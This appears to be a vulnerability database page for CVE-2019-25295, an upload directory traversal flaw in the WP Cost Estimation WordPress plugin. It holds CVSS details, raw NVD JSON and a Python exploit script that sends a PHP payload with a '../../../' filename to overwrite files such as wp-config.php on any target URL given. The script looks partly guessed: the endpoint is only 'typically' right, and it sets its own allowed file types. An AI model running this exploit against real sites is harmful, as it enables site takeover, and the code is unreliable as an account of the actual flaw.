Security Vulnerability Report
中文
CVE-2019-25295 CVSS 6.5 MEDIUM

CVE-2019-25295

Published: 2026-01-08 02:15:52
Last Modified: 2026-04-15 00:35:42

Description

The WP Cost Estimation plugin for WordPress is vulnerable to Upload Directory Traversal in versions before 9.660 via the uploadFormFiles function. This allows attackers to overwrite any file with a whitelisted type on an affected site.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Cost Estimation Payment Forms Builder < 9.660

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2019-25295 PoC - WP Cost Estimation Directory Traversal File Upload # Target: WordPress site with WP Cost Estimation plugin < 9.660 def exploit_directory_traversal(target_url, file_path='/wp-config.php'): """ Exploit the directory traversal vulnerability in WP Cost Estimation plugin to overwrite arbitrary files with whitelisted file types. Args: target_url: Base URL of the vulnerable WordPress site file_path: Target file path to overwrite (default: wp-config.php) """ # Prepare malicious file content malicious_code = "<?php phpinfo(); ?>" # Construct directory traversal path # Using ../../../ to traverse to root and then write to target file traversal_path = "../../../" + file_path.lstrip('/') # Target endpoint - typically in the plugin's upload handler upload_url = f"{target_url}/wp-content/plugins/wp-cost-estimation-payment-forms-builder/includes/upload.php" # Prepare multipart form data files = { 'file': (traversal_path + '.php', malicious_code, 'application/x-php'), 'uploadDir': ('../../', 'text/plain'), 'userId': ('1', 'text/plain') } data = { 'uploadType': 'normal', 'allowedTypes': 'jpg,png,gif,pdf,php' # Whitelisted types } try: print(f"[*] Target: {target_url}") print(f"[*] Upload URL: {upload_url}") print(f"[*] Target file: {file_path}") print(f"[*] Sending malicious request...") response = requests.post(upload_url, files=files, data=data, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Request completed - check if file was written") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [file_path]") print(f"Example: python {sys.argv[0]} http://example.com /wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '/wp-config.php' exploit_directory_traversal(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25295", "sourceIdentifier": "[email protected]", "published": "2026-01-08T02:15:52.447", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Cost Estimation plugin for WordPress is vulnerable to Upload Directory Traversal in versions before 9.660 via the uploadFormFiles function. This allows attackers to overwrite any file with a whitelisted type on an affected site."}, {"lang": "es", "value": "El plugin WP Cost Estimation para WordPress es vulnerable a salto de directorio de carga en versiones anteriores a la 9.660 a través de la función uploadFormFiles. Esto permite a los atacantes sobrescribir cualquier archivo con un tipo en la lista blanca en un sitio afectado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://codecanyon.net/item/wp-cost-estimation-payment-forms-builder/7818230", "source": "[email protected]"}, {"url": "https://www.wordfence.com/blog/2019/02/vulnerabilities-patched-in-wp-cost-estimation-plugin/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65a9e877-e870-4e36-985d-c0629abe3f78?source=cve", "source": "[email protected]"}]}}